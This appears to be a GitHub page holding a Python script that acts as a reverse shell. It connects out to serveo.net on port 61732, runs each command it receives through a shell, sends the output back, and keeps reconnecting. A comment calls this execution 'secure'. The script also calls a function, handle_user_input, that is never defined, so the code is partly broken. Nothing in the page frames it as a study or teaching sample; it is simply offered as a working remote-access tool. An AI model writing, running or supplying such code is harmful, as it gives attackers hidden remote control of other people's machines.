-
Notifications
You must be signed in to change notification settings - Fork 0
/
script.py
97 lines (79 loc) · 2.8 KB
/
script.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
import socket
import subprocess
import sys
import time
import threading
import os
ph = "serveo.net" # Host address
po = 61732 # Port number (choose the same port provided on ssh command)
timeout = 60 # Timeout for the socket connection
delay = 5 # Delay before reconnect attempts
current_dir = os.getcwd() # Keep track of the current working directory
input_thread_active = False
def connect(host, port):
#Connect to the remote server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def wait_for_command(s):
# Wait for and execute commands from the server
global current_dir
try:
s.settimeout(timeout) # Set socket timeout
data = s.recv(1024).decode() # Receive data
if len(data) == 0:
return True
if data == "quit\n":
s.close()
sys.exit(0)
# Handle `cd` command to change directory
if data.startswith("cd "):
new_dir = data[3:].strip()
if os.path.isdir(new_dir):
current_dir = new_dir
result = f"Changed directory to {new_dir}\n"
else:
result = f"Directory {new_dir} does not exist\n"
s.send(result.encode())
else:
# Run the command securely using subprocess
proc = subprocess.Popen(data, shell=True, cwd=current_dir ,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
# Handle large outputs by sending in small sizes
while True:
output = proc.stdout.read(4096) + proc.stderr.read(4096)
if not output:
break
s.send(output)
return False
except socket.timeout:
print("Connection timed out.")
return True
except Exception as e:
print(f"Error: {e}")
return True
def main():
# Main loop for connecting and handling communication
global input_thread_active
while True:
socket_died = False
try:
s = connect(ph, po)
input_thread = threading.Thread(target=handle_user_input, args=(s,))
input_thread.start()
while not socket_died:
socket_died = wait_for_command(s)
# Close the socket and terminate input thread if socket dies
s.close()
input_thread_active = False
except socket.error as e:
print(f"Socket error: {e}")
time.sleep(delay)
if __name__ == "__main__":
while True:
try:
main()
except Exception as e:
print(f"Exception in main loop: {e}")
time.sleep(delay)